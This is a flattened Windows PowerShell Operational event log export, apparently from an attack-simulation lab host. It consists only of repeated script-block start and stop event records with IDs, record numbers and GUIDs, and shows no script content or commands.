410515102150x0674389Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674388Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674387Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674386Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674385Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674384Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674383Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674382Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674381Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674380Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674379Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674378Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674377Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674376Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674375Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674374Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674373Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674372Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674371Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674370Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674369Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674368Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674367Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674366Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674365Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674364Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674363Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674362Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674361Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674360Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674359Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674358Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674357Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674356Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674355Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674354Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674353Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674352Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674351Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674350Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674349Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674348Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674347Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674346Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674345Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674344Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674343Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674342Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674341Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674340Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674339Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674338Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674337Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674336Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674335Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674334Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674333Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674332Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674331Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674330Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674329Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674328Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674327Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674326Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674325Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674324Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674323Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674322Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674321Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674320Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674319Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674318Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674317Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674316Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674315Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674314Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674313Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674312Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674311Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674310Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674309Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674308Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674307Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674306Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674305Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674304Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674303Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674302Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674301Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674300Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674299Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674298Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674297Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674296Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674295Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674294Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674293Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674292Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674291Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674290Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674289Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674288Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674287Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674286Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674285Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674284Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674283Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674282Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674281Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674280Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674279Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674278Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674277Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674276Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674275Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674274Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674273Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674272Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674271Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674270Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674269Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674268Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674267Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674266Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674265Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674264Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674263Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674262Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674261Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674260Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674259Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674258Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674257Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674256Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674255Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674254Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674253Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674252Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674251Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674250Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674249Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674248Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674247Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674246Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674245Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674244Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674243Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674242Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674241Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674240Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674239Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674238Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674237Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674236Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674235Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674234Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674233Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674232Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674231Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674230Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674229Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674228Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674227Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 